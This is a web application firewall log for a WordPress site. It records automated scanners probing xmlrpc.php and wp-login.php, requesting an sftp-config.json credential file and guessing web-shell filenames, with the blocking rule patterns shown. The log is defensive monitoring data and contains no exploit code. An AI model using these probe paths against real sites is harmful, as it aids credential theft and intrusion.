[Mon Apr 13 19:08:27.772847 2026] [:error] [pid 57183:tid 57206] [client 103.109.13.75:49344] [client 103.109.13.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.109.13.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adzOqzDO3t8R5NaxzYQOBgAAAVU"]
[Mon Apr 13 19:08:38.289872 2026] [:error] [pid 63311:tid 63380] [client 103.109.13.75:49689] [client 103.109.13.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.109.13.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adzOtqHjrGN1MqBCVFnruwAAAIk"]
[Mon Apr 13 19:09:30.766829 2026] [:error] [pid 9314:tid 9317] [client 103.109.13.75:52786] [client 103.109.13.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.109.13.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adzO6m_r4W8fX2GWyGT1rQAAAYE"]
[Mon Apr 13 19:27:37.693823 2026] [:error] [pid 63406:tid 63425] [client 103.121.26.217:2052] [client 103.121.26.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.121.26.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adzTKbHZEIkQ0Zmgp5p47gAAAM4"]
[Mon Apr 13 19:27:39.536583 2026] [:error] [pid 63406:tid 63427] [client 103.121.26.217:2052] [client 103.121.26.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.121.26.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adzTK7HZEIkQ0Zmgp5p4-QAAANA"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 13 20:02:04.089317 2026] [:error] [pid 63406:tid 63417] [client 182.48.215.40:45671] [client 182.48.215.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.48.215.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adzbPLHZEIkQ0Zmgp5qQXAAAAMY"]
[Mon Apr 13 20:02:14.616805 2026] [:error] [pid 57183:tid 57191] [client 182.48.215.40:38492] [client 182.48.215.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.48.215.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adzbRjDO3t8R5NaxzYQqhgAAAUY"]
[Mon Apr 13 20:02:37.466287 2026] [:error] [pid 63406:tid 63414] [client 182.48.215.40:39839] [client 182.48.215.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.48.215.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adzbXbHZEIkQ0Zmgp5qQiQAAAMM"]
[Mon Apr 13 20:02:46.744273 2026] [:error] [pid 57183:tid 57189] [client 182.48.215.40:28733] [client 182.48.215.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.48.215.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adzbZjDO3t8R5NaxzYQqrgAAAUQ"]
[Mon Apr 13 20:02:57.461252 2026] [:error] [pid 63406:tid 63425] [client 182.48.215.40:45697] [client 182.48.215.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.48.215.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adzbcbHZEIkQ0Zmgp5qQvAAAAM4"]
[Mon Apr 13 20:16:37.136698 2026] [:error] [pid 9314:tid 9323] [client 45.117.242.242:52860] [client 45.117.242.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.117.242.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adzepW_r4W8fX2GWyGQP0wAAAYc"]
[Mon Apr 13 20:17:03.086676 2026] [:error] [pid 57183:tid 57200] [client 103.121.61.52:49835] [client 103.121.61.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.121.61.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adzevzDO3t8R5NaxzYQzGQAAAU8"]
[Mon Apr 13 20:17:13.759218 2026] [:error] [pid 7228:tid 7235] [client 103.121.61.52:50583] [client 103.121.61.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.121.61.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adzeyQEnn1dQrOSHHNWPJAAAAQU"]
[Mon Apr 13 20:17:24.715131 2026] [:error] [pid 63311:tid 63391] [client 103.121.61.52:51056] [client 103.121.61.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.121.61.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adze1KHjrGN1MqBCVFn7uwAAAJQ"]
[Mon Apr 13 20:17:35.464766 2026] [:error] [pid 63406:tid 63433] [client 103.121.61.52:51421] [client 103.121.61.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.121.61.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adze37HZEIkQ0Zmgp5qbmQAAANY"]
[Mon Apr 13 20:17:46.343963 2026] [:error] [pid 63310:tid 63361] [client 103.121.61.52:51789] [client 103.121.61.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.121.61.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adze6noXpRU5ztmwPjJT0QAAAFE"]
[Mon Apr 13 20:38:51.488039 2026] [:error] [pid 9314:tid 9330] [client 103.77.107.178:56076] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "adzj22_r4W8fX2GWyGQYNAAAAY4"]
[Mon Apr 13 21:23:45.767366 2026] [:error] [pid 9314:tid 9329] [client 78.145.205.242:54914] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adzuYW_r4W8fX2GWyGQskQAAAY0"]
[Mon Apr 13 21:23:46.302166 2026] [:error] [pid 63406:tid 63412] [client 78.145.205.242:55792] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adzuYrHZEIkQ0Zmgp5rI0gAAAME"]
[Mon Apr 13 21:23:46.841017 2026] [:error] [pid 63406:tid 63415] [client 78.145.205.242:55795] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adzuYrHZEIkQ0Zmgp5rI1AAAAMQ"]
[Mon Apr 13 21:23:48.936165 2026] [:error] [pid 63406:tid 63428] [client 78.145.205.242:55802] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adzuZLHZEIkQ0Zmgp5rI2AAAANE"]
[Mon Apr 13 21:23:49.466697 2026] [:error] [pid 63406:tid 63413] [client 78.145.205.242:55803] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adzuZbHZEIkQ0Zmgp5rI2QAAAMI"]
[Mon Apr 13 21:23:51.452826 2026] [:error] [pid 63311:tid 63379] [client 78.145.205.242:55811] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "adzuZ6HjrGN1MqBCVFkNAgAAAIg"]
[Mon Apr 13 21:23:51.987825 2026] [:error] [pid 57183:tid 57209] [client 78.145.205.242:55813] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "adzuZzDO3t8R5NaxzYRUhAAAAVg"]
[Mon Apr 13 21:23:54.001284 2026] [:error] [pid 63406:tid 63431] [client 78.145.205.242:55819] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "adzuarHZEIkQ0Zmgp5rI3QAAANQ"]
[Mon Apr 13 21:23:54.540445 2026] [:error] [pid 63406:tid 63434] [client 78.145.205.242:55822] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "adzuarHZEIkQ0Zmgp5rI4AAAANc"]
[Mon Apr 13 21:23:56.641429 2026] [:error] [pid 57183:tid 57191] [client 78.145.205.242:55832] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "adzubDDO3t8R5NaxzYRUmQAAAUY"]
[Mon Apr 13 21:23:57.174485 2026] [:error] [pid 7228:tid 7250] [client 78.145.205.242:55833] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "adzubQEnn1dQrOSHHNWkMAAAARQ"]
[Mon Apr 13 21:23:59.047322 2026] [:error] [pid 63311:tid 63390] [client 78.145.205.242:55837] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "adzub6HjrGN1MqBCVFkNBQAAAJM"]
[Mon Apr 13 21:23:59.575306 2026] [:error] [pid 63406:tid 63428] [client 78.145.205.242:55840] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "adzub7HZEIkQ0Zmgp5rI5AAAANE"]
[Mon Apr 13 21:24:01.606396 2026] [:error] [pid 7228:tid 7235] [client 78.145.205.242:55847] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "adzucQEnn1dQrOSHHNWkNgAAAQU"]
[Mon Apr 13 21:24:02.160631 2026] [:error] [pid 63406:tid 63430] [client 78.145.205.242:55848] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "adzucrHZEIkQ0Zmgp5rI8AAAANM"]
[Mon Apr 13 21:24:04.307823 2026] [:error] [pid 63311:tid 63374] [client 78.145.205.242:55856] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "adzudKHjrGN1MqBCVFkNBwAAAIM"]
[Mon Apr 13 21:24:04.842724 2026] [:error] [pid 63406:tid 63418] [client 78.145.205.242:55858] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "adzudLHZEIkQ0Zmgp5rI8wAAAMc"]
[Mon Apr 13 21:24:06.810629 2026] [:error] [pid 7228:tid 7236] [client 78.145.205.242:55863] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "adzudgEnn1dQrOSHHNWkPwAAAQY"]
[Mon Apr 13 21:24:07.346931 2026] [:error] [pid 63309:tid 63325] [client 78.145.205.242:55865] [client 78.145.205.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "adzud0pIKZ10weXpf0UwlgAAAAw"]
[Mon Apr 13 21:55:26.391009 2026] [:error] [pid 7228:tid 7244] [client 182.44.2.148:42581] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adz1zgEnn1dQrOSHHNWvAwAAAQ4"]
[Mon Apr 13 23:26:33.454727 2026] [:error] [pid 63406:tid 63413] [client 49.51.36.179:49246] [client 49.51.36.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ad0LKbHZEIkQ0Zmgp5oqPAAAAMI"]
[Mon Apr 13 23:57:50.372713 2026] [:error] [pid 63406:tid 63435] [client 162.241.224.236:39752] [client 162.241.224.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.224.236, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad0SfrHZEIkQ0Zmgp5pAUQAAANg"]
[Mon Apr 13 23:57:52.689148 2026] [:error] [pid 63406:tid 63427] [client 162.241.224.236:39752] [client 162.241.224.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.224.236, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad0SgLHZEIkQ0Zmgp5pAWgAAANA"], referer: https://gigfragments.org/wp-login.php
[Tue Apr 14 00:48:52.291963 2026] [:error] [pid 60317:tid 60355] [client 43.130.102.7:38254] [client 43.130.102.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ad0edLBo7Bc8I7P_P-9pHwAAAM8"]
[Tue Apr 14 00:49:35.623057 2026] [:error] [pid 59915:tid 59984] [client 158.158.43.6:53442] [client 158.158.43.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "ad0en4eTNdEemByf99gczQAAAI0"]
[Tue Apr 14 00:49:40.317593 2026] [:error] [pid 59914:tid 59958] [client 158.158.43.6:53423] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "ad0epOq0YMmB3OWbbUk2wQAAAE4"]
[Tue Apr 14 00:49:41.220908 2026] [:error] [pid 60317:tid 60357] [client 158.158.43.6:54118] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "ad0epbBo7Bc8I7P_P-9ppgAAANE"]
[Tue Apr 14 00:49:44.657786 2026] [:error] [pid 59913:tid 59929] [client 158.158.43.6:52835] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "ad0eqK5XvQ9C-gZtr2yY5QAAAAw"]
[Tue Apr 14 00:49:47.445452 2026] [:error] [pid 59914:tid 59950] [client 158.158.43.6:52849] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "ad0eq-q0YMmB3OWbbUk2ywAAAEY"]
[Tue Apr 14 00:49:49.599134 2026] [:error] [pid 60317:tid 60342] [client 158.158.43.6:54016] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "ad0erbBo7Bc8I7P_P-9puAAAAMI"]
[Tue Apr 14 00:49:52.930800 2026] [:error] [pid 59914:tid 59948] [client 158.158.43.6:54919] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "ad0esOq0YMmB3OWbbUk21AAAAEQ"]
[Tue Apr 14 00:49:54.511457 2026] [:error] [pid 59913:tid 59940] [client 158.158.43.6:54020] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "ad0esq5XvQ9C-gZtr2yZEAAAABc"]
[Tue Apr 14 00:49:56.398693 2026] [:error] [pid 60317:tid 60361] [client 158.158.43.6:53434] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "ad0etLBo7Bc8I7P_P-9pvwAAANU"]
[Tue Apr 14 00:49:57.784040 2026] [:error] [pid 60317:tid 60348] [client 158.158.43.6:54077] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/state.php"] [unique_id "ad0etbBo7Bc8I7P_P-9pwQAAAMg"]
[Tue Apr 14 00:49:58.733768 2026] [:error] [pid 60317:tid 60363] [client 158.158.43.6:54017] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/state.php"] [unique_id "ad0etrBo7Bc8I7P_P-9pxwAAANc"]
[Tue Apr 14 00:50:01.275148 2026] [:error] [pid 60317:tid 60348] [client 158.158.43.6:54859] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/state.php"] [unique_id "ad0eubBo7Bc8I7P_P-9pzQAAAMg"]
[Tue Apr 14 00:50:02.026825 2026] [:error] [pid 60317:tid 60354] [client 158.158.43.6:52828] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/state.php"] [unique_id "ad0eurBo7Bc8I7P_P-9pzgAAAM4"]
[Tue Apr 14 00:50:03.024399 2026] [:error] [pid 60317:tid 60346] [client 158.158.43.6:53478] [client 158.158.43.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "ad0eu7Bo7Bc8I7P_P-9pzwAAAMY"]
